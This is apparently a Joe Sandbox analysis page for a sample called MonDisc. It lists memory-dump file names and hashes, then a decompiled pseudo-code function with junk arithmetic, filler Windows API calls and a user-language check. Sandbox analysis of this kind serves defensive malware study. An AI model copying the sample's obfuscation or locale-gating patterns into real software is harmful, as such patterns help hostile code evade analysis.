Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ff069bac779bcdd314a1f66d279dc8f486c6733c5a44f78111e97c40d74c3f9d
Instruction ID: 0c7ded427940ac96bb228292d0285e2147802a732972896ffe8a52cb2636414c
Opcode Fuzzy Hash: ff069bac779bcdd314a1f66d279dc8f486c6733c5a44f78111e97c40d74c3f9d
Instruction Fuzzy Hash: D5E0ED26B09E8281EA58CB5AD4503E976A1FFCCB48F5DC130CA8D47715EF3EC0558704

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF6ED0F8F3E Relevance: 19.9, APIs: 13, Instructions: 390
windowCOMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00007FF67FF6ED0F8F3E(intOrPtr _a152) {
				void* _t54;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t90;
				signed int _t106;
				signed int _t111;
				signed int _t126;
				short _t132;
				signed int _t136;
				signed int _t141;
				signed int _t147;
				signed int _t152;
				signed int _t157;
				signed int _t162;
				signed int _t167;
				signed int _t173;
				signed int _t184;
				signed int _t190;
				signed int _t203;
				signed int _t208;
				signed int _t225;
				signed int _t254;
				signed int _t260;
				signed int _t265;
				signed int _t300;
				signed int _t306;
				signed int _t312;
				signed int _t318;
				signed int _t324;
				signed int _t331;
				signed int _t342;
				signed int _t354;
				signed int _t359;
				signed int _t364;
				signed int _t369;
				signed int _t400;
				signed int _t406;
				signed int _t413;
				signed int _t418;
				signed int _t426;
				signed int _t431;
				signed int _t468;
				signed int _t474;
				signed char _t504;
				signed int _t548;
				void* _t554;
				void* _t555;
				void* _t556;
				void* _t558;
				void* _t561;
				void* _t563;
				void* _t564;
				void* _t565;
				void* _t567;
				void* _t571;
				void* _t572;
				void* _t573;
				void* _t574;
				void* _t575;
				void* _t576;
				void* _t577;
				void* _t578;
				void* _t579;
				void* _t581;
				void* _t582;
				void* _t584;
				void* _t589;
				void* _t590;
				void* _t592;
				void* _t593;
				void* _t594;
				void* _t595;
				void* _t597;
				void* _t599;
				void* _t600;
				void* _t601;
				void* _t603;
				void* _t604;
				void* _t606;
				void* _t607;
				void* _t608;
				void* _t609;
				void* _t611;
				void* _t612;
				void* _t614;
				void* _t616;
				void* _t617;
				void* _t618;
				void* _t619;
				void* _t620;
				void* _t621;
				void* _t624;
				void* _t625;
				void* _t630;

				asm("enter 0x380, 0xc3");
				_t554 = _t54 - 0x15;
				if (_t554 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t624);
				if (_t554 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t554 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t624);
				if (_t554 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t554 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t474;
				_t67 = E00007FF67FF6ED184484(_t624);
				if (_t554 >= 0) goto 0xed0f8fb7;
				_t555 = ((_t67 & r14d) - _t474 | 0xffffff80) + _t474 - 0x15;
				 *0xed236f60 = 0 | _t555 == 0x00000000;
				dil = 0x5f;
				_t72 = E00007FF67FF6ED184484(_t624);
				if (_t555 >= 0) goto 0xed0f8fd9;
				_t556 = ((_t72 & r14d) - _t474 | 0xffffff80) + _t474 - 0x27;
				if (_t556 <= 0) goto 0xed0f8ffd;
				_t77 = E00007FF67FF6ED184484(_t624);
				if (_t556 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t77 & r14d) - _t474 | 0xffffff80) + _t474 - 0x00000027 > 0x00000000;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t558 = dil - 0x73;
				if (_t558 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t624);
				if (_t558 >= 0) goto 0xed0f9034;
				_t90 = E00007FF67FF6ED184484(_t624);
				if (_t558 >= 0) goto 0xed0f9045;
				dil = dil + _t474;
				 *0xed236f60 = 0 | ((_t90 & r14d) - _t474 | 0xffffff80) + _t474 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t561 = 0x52 + _t474 - 0x5b;
				if (_t561 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t624);
				if (_t561 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t561 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t474;
				 *0xed236f60 = r13b & 0xffffffff;
				_t563 = r13b - 0x11;
				if (_t563 < 0) goto 0xed0f90be;
				_t106 = E00007FF67FF6ED184484(_t624);
				r13d = 0xffffff80;
				if (_t563 >= 0) goto 0xed0f90e8;
				_t564 = ((_t106 & r14d) - _t474 | r13d) + _t474 - 7;
				if (_t564 >= 0) goto 0xed0f910e;
				_t111 = E00007FF67FF6ED184484(_t624);
				if (_t564 >= 0) goto 0xed0f90fe;
				_t565 = ((_t111 & r14d) - _t474 | r13d) + _t474 - 7;
				 *0xed236f60 = 0 | _t565 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t624);
				if (_t565 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t565 != 0) goto 0xed0f915f;
				if (_t565 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t567 = 0x21 + _t474 - 0x33;
				if (_t567 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t126 = E00007FF67FF6ED184484(_t624);
				if (_t567 >= 0) goto 0xed0f9198;
				if (((_t126 & r14d) - _t474 | r13d) + _t474 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t132 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t132 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t625, _a152, _t630);
				 *0xed236f60 = 0x30;
				_t571 = 0x30 + _t474 - sil;
				if (_t571 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t474;
				GetForegroundWindow();
				_t136 = E00007FF67FF6ED184484(_t624);
				if (_t571 >= 0) goto 0xed0f921e;
				_t572 = ((_t136 & r14d) - _t474 | r13d) + _t474 - 0x77;
				if (_t572 <= 0) goto 0xed0f9242;
				_t141 = E00007FF67FF6ED184484(_t624);
				if (_t572 >= 0) goto 0xed0f9234;
				_t573 = ((_t141 & r14d) - _t474 | r13d) + _t474 - 0x77;
				 *0xed236f60 = 0 | _t573 > 0x00000000;
				GetDoubleClickTime();
				_t147 = E00007FF67FF6ED184484(_t624);
				if (_t573 >= 0) goto 0xed0f9259;
				_t574 = ((_t147 & r14d) - _t474 | r13d) + _t474 - 0x7c;
				if (_t574 <= 0) goto 0xed0f927d;
				_t152 = E00007FF67FF6ED184484(_t624);
				if (_t574 >= 0) goto 0xed0f926f;
				_t575 = ((_t152 & r14d) - _t474 | r13d) + _t474 - 0x7c;
				 *0xed236f60 = 0 | _t575 > 0x00000000;
				_t157 = E00007FF67FF6ED184484(_t624);
				if (_t575 >= 0) goto 0xed0f928e;
				_t576 = ((_t157 & r14d) - _t474 | r13d) + _t474 - 0x6f;
				if (_t576 >= 0) goto 0xed0f92b2;
				_t162 = E00007FF67FF6ED184484(_t624);
				if (_t576 >= 0) goto 0xed0f92a4;
				_t577 = ((_t162 & r14d) - _t474 | r13d) + _t474 - 0x6f;
				 *0xed236f60 = 0 | _t577 < 0x00000000;
				_t167 = E00007FF67FF6ED184484(_t624);
				if (_t577 >= 0) goto 0xed0f92c3;
				_t578 = ((_t167 & r14d) - _t474 | r13d) + _t474 - 0x24;
				if (_t578 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t173 = E00007FF67FF6ED184484(_t624);
				if (_t578 >= 0) goto 0xed0f92df;
				_t579 = ((_t173 & r14d) - _t474 | r13d) + _t474 - 0x24;
				 *0xed236f60 = 0 | _t579 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t624);
				if (_t579 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t579 <= 0) goto 0xed0f9398;
				_t184 = E00007FF67FF6ED184484(_t624);
				if (_t579 >= 0) goto 0xed0f9330;
				if (((_t184 & 0x8000007f) - _t474 | r13d) + _t474 - 0x4d <= 0) goto 0xed0f934c;
				_t504 = r14b;
				 *0xed236f60 = _t504 & 0x000000ff;
				_t581 = _t504 + _t474 - 0x28;
				if (_t581 < 0) goto 0xed0f933c;
				_t190 = E00007FF67FF6ED184484(_t624);
				if (_t581 >= 0) goto 0xed0f935f;
				_t582 = ((_t190 & 0x8000007f) - _t474 | r13d) + _t474 - 0x4d;
				 *0xed236f60 = 0 | _t582 > 0x00000000;
				E00007FF67FF6ED184484(_t624);
				if (_t582 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t582 > 0x00000000;
				goto 0xed0f93ed;
				_t203 = E00007FF67FF6ED184484(_t624) & 0x8000007f;
				if (_t203 >= 0) goto 0xed0f93ad;
				_t584 = (_t203 - _t474 | r13d) + _t474 - 0x64;
				if (_t584 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t208 = E00007FF67FF6ED184484(_t624);
				if (_t584 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t208 & 0x8000007f) - _t474 | r13d) + _t474 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t474 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t474;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t589 = 0x33 + _t474 - sil;
				if (_t589 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t624);
				if (_t589 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t589 <= 0) goto 0xed0f94cf;
				_t590 = r15b - 0x14;
				if (_t590 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t225 = E00007FF67FF6ED184484(_t624);
				if (_t590 >= 0) goto 0xed0f94a2;
				if (((_t225 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x73 > 0) goto 0xed0f94ad;
				_t592 = dil - 0x65;
				if (_t592 < 0) goto 0xed0f9482;
				r15b = r15b + _t474;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t624);
				if (_t592 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t624);
				r15d = 0x8000007f;
				if (_t592 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t592 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t624);
				if (_t592 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t592 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t624);
				if (_t592 >= 0) goto 0xed0f953f;
				_t254 = E00007FF67FF6ED184484(_t624);
				if (_t592 >= 0) goto 0xed0f954f;
				_t593 = ((_t254 & r15d) - _t474 | 0xffffff80) + _t474 - 0x6c;
				 *0xed236f60 = 0 | _t593 < 0x00000000;
				GetWindowTextLengthW(??);
				_t260 = E00007FF67FF6ED184484(_t624);
				if (_t593 >= 0) goto 0xed0f9575;
				_t594 = ((_t260 & r15d) - _t474 | 0xffffff80) + _t474 - 0x24;
				if (_t594 > 0) goto 0xed0f9598;
				_t265 = E00007FF67FF6ED184484(_t624);
				if (_t594 >= 0) goto 0xed0f958a;
				_t595 = ((_t265 & r15d) - _t474 | 0xffffff80) + _t474 - 0x24;
				 *0xed236f60 = 0 | _t595 <= 0x00000000;
				 *0xed236f60 = _t474;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t474;
				E00007FF67FF6ED184484(_t624);
				if (_t595 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t624);
				if (_t595 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t595 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t624);
				if (_t595 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t595 != 0) goto 0xed0f9669;
				if (_t595 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t624);
				if (_t595 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t595 != 0) goto 0xed0f965f;
				if (_t595 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t300 = E00007FF67FF6ED184484(_t624);
				if (_t595 >= 0) goto 0xed0f9679;
				if (((_t300 & r15d) - _t474 | 0xffffff80) + _t474 - 0x78 <= 0) goto 0xed0f96b4;
				_t597 = sil - 0x43;
				if (_t597 >= 0) goto 0xed0f96ae;
				E00007FF67FF6ED1EE3B8();
				sil = sil + _t474;
				 *0xed236f60 = sil & 0xffffffff;
				_t306 = E00007FF67FF6ED184484(_t624);
				if (_t597 >= 0) goto 0xed0f96a9;
				if (((_t306 & r15d) - _t474 | 0xffffff80) + _t474 - 0x78 > 0) goto 0xed0f967e;
				r13d = 0x58;
				 *0xed236f60 = _t474;
				 *0xed236f60 = 0x56;
				_t599 = 0x56 + _t474 - 0x6a;
				if (_t599 < 0) goto 0xed0f96bc;
				_t312 = E00007FF67FF6ED184484(_t624);
				_t548 = r15d;
				if (_t599 >= 0) goto 0xed0f96e4;
				_t600 = ((_t312 & r15d) - _t474 | 0xffffff80) + _t474 - 0x7f;
				if (_t600 >= 0) goto 0xed0f9779;
				 *0xed1ee3d0();
				_t318 = E00007FF67FF6ED184484(_t624);
				if (_t600 >= 0) goto 0xed0f9704;
				_t601 = ((_t318 & _t548) - _t474 | 0xffffff80) + _t474 - 0x7f;
				 *0xed236f60 = 0 | _t601 < 0x00000000;
				r15d = 0x5d;
				AnyPopup();
				 *0xed236f60 = _t474;
				_t324 = E00007FF67FF6ED184484(_t624);
				if (_t601 >= 0) goto 0xed0f9733;
				if (((_t324 & _t548) - _t474 | 0xffffff80) + _t474 - 0x6a >= 0) goto 0xed0f980f;
				dil = 0x32;
				 *0xed1ee038();
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t603 = dil - 0x44;
				if (_t603 < 0) goto 0xed0f973f;
				_t331 = E00007FF67FF6ED184484(_t624);
				if (_t603 >= 0) goto 0xed0f976c;
				_t604 = ((_t331 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x6a;
				goto 0xed0f983a;
				E00007FF67FF6ED184484(_t624);
				if (_t604 >= 0) goto 0xed0f9788;
				asm("movsd xmm6, [0x1102d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t604 < 0) goto 0xed0f9712;
				dil = 0x1a;
				r15d = 0x5d;
				 *0xed236f60 = 0x17;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t342 = E00007FF67FF6ED184484(_t624);
				if (_t604 >= 0) goto 0xed0f97d4;
				if (((_t342 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - r15d > 0) goto 0xed0f97df;
				_t606 = dil - 0x24;
				if (_t606 < 0) goto 0xed0f97ab;
				E00007FF67FF6ED184484(_t624);
				if (_t606 >= 0) goto 0xed0f97f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t606 >= 0x00000000;
				goto 0xed0f9718;
				_t354 = E00007FF67FF6ED184484(_t624);
				if (_t606 >= 0) goto 0xed0f981e;
				_t607 = ((_t354 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x30;
				if (_t607 == 0) goto 0xed0f9840;
				_t359 = E00007FF67FF6ED184484(_t624);
				if (_t607 >= 0) goto 0xed0f9832;
				_t608 = ((_t359 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x30;
				 *0xed236f60 = 0 | _t608 != 0x00000000;
				_t364 = E00007FF67FF6ED184484(_t624);
				if (_t608 >= 0) goto 0xed0f984f;
				_t609 = ((_t364 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x1a;
				if (_t609 > 0) goto 0xed0f9877;
				 *0xed236f60 = _t474;
				_t369 = E00007FF67FF6ED184484(_t624);
				if (_t609 >= 0) goto 0xed0f9869;
				 *0xed236f60 = 0 | ((_t369 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x0000001a <= 0x00000000;
				 *0xed236f60 = 0x47;
				_t611 = 0x47 + _t474 - 0x50;
				if (_t611 < 0) goto 0xed0f9879;
				E00007FF67FF6ED184484(_t624);
				if (_t611 >= 0) goto 0xed0f9898;
				asm("movsd xmm6, [0x1101d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t611 != 0) goto 0xed0f98b0;
				if (_t611 == 0) goto 0xed0f98db;
				E00007FF67FF6ED184484(_t624);
				if (_t611 >= 0) goto 0xed0f98bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t611 != 0) goto 0xed0f98d3;
				if (_t611 != 0) goto 0xed0f98d3;
				goto 0xed0f98d5;
				 *0xed236f60 = _t474;
				E00007FF67FF6ED184484(_t624);
				if (_t611 >= 0) goto 0xed0f98ea;
				asm("movsd xmm6, [0x110306]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t611 < 0) goto 0xed0f9931;
				 *0xed1ee008();
				E00007FF67FF6ED184484(_t624);
				if (_t611 >= 0) goto 0xed0f9915;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t611 >= 0x00000000;
				goto 0xed0f99d6;
				_t400 = E00007FF67FF6ED184484(_t624);
				if (_t611 >= 0) goto 0xed0f9940;
				_t612 = ((_t400 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x29;
				if (_t612 != 0) goto 0xed0f997e;
				dil = 0x21;
				dil = dil + _t474;
				 *0xed236f60 = dil & 0xffffffff;
				_t406 = E00007FF67FF6ED184484(_t624);
				if (_t612 >= 0) goto 0xed0f9967;
				if (((_t406 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x3d < 0) goto 0xed0f9972;
				_t614 = dil - 0x35;
				if (_t614 < 0) goto 0xed0f9948;
				E00007FF67FF6ED184484(_t624);
				goto 0xed0f99b4;
				bpl = bpl + _t474;
				 *0xed236f60 = bpl & 0xffffffff;
				_t413 = E00007FF67FF6ED184484(_t624);
				if (_t614 >= 0) goto 0xed0f999a;
				if (((_t413 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x76 >= 0) goto 0xed0f99a5;
				_t616 = bpl - 0x3a;
				if (_t616 < 0) goto 0xed0f997e;
				 *0xed236f60 = 0;
				_t418 = E00007FF67FF6ED184484(_t624);
				if (_t616 >= 0) goto 0xed0f99be;
				_t617 = ((_t418 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x29;
				 *0xed236f60 = 0 | _t617 == 0x00000000;
				 *0xed236f60 = 0;
				GetCurrentProcessId();
				GetUserDefaultLangID();
				 *0xed236f60 = _t474;
				GetSystemDefaultLangID();
				_t426 = E00007FF67FF6ED184484(_t624);
				if (_t617 >= 0) goto 0xed0f99fd;
				_t618 = ((_t426 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x63;
				if (_t618 == 0) goto 0xed0f9a29;
				E00007FF67FF6ED1EE028();
				_t431 = E00007FF67FF6ED184484(_t624);
				if (_t618 >= 0) goto 0xed0f9a19;
				_t619 = ((_t431 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x63;
				 *0xed236f60 = 0 | _t619 != 0x00000000;
				goto 0xed0f9a7a;
				E00007FF67FF6ED184484(_t624);
				if (_t619 >= 0) goto 0xed0f9a38;
				asm("movsd xmm6, [0x110058]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t619 < 0) goto 0xed0f9a7a;
				 *0xed236f60 = _t474;
				E00007FF67FF6ED184484(_t624);
				if (_t619 >= 0) goto 0xed0f9a63;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t619 >= 0x00000000;
				GetTopWindow(??);
				r14b = 0x37;
				GetSystemDefaultLangID();
				r14b = r14b + _t474;
				 *0xed236f60 = r14b & 0xffffffff;
				_t620 = r14b - 0x49;
				if (_t620 < 0) goto 0xed0f9a85;
				 *0xed236f60 = _t474;
				 *0xed236f60 = _t474;
				E00007FF67FF6ED184484(_t624);
				r14b = 0x23;
				if (_t620 >= 0) goto 0xed0f9abc;
				asm("movsd xmm6, [0x110114]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t620 <= 0) goto 0xed0f9adc;
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t624);
				if (_t620 >= 0) goto 0xed0f9aeb;
				asm("movd xmm0, eax");
				bpl = 0x4a;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t620 > 0x00000000;
				E00007FF67FF6ED184484(_t624);
				if (_t620 >= 0) goto 0xed0f9b14;
				asm("movsd xmm6, [0x10fea4]");
				goto 0xed0f9be9;
				_t621 = bpl - 0x52;
				if (_t621 >= 0) goto 0xed0f9bfd;
				_t468 = E00007FF67FF6ED184484(_t624);
				if (_t621 >= 0) goto 0xed0f9b3a;
				if (((_t468 & 0x8000007f) - _t474 | 0xffffff80) + _t474 - 0x16 < 0) goto 0xed0f9bc8;
				sil = 0x59;
				E00007FF67FF6ED184484(_t624);
				goto 0xed0f9b9a;
				if (sil - 0x66 >= 0) goto 0xed0f9baa;
				dil = 0x28;
				asm("adc eax, [eax-0x80]");
				goto [far dword [rdx];
			}

0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
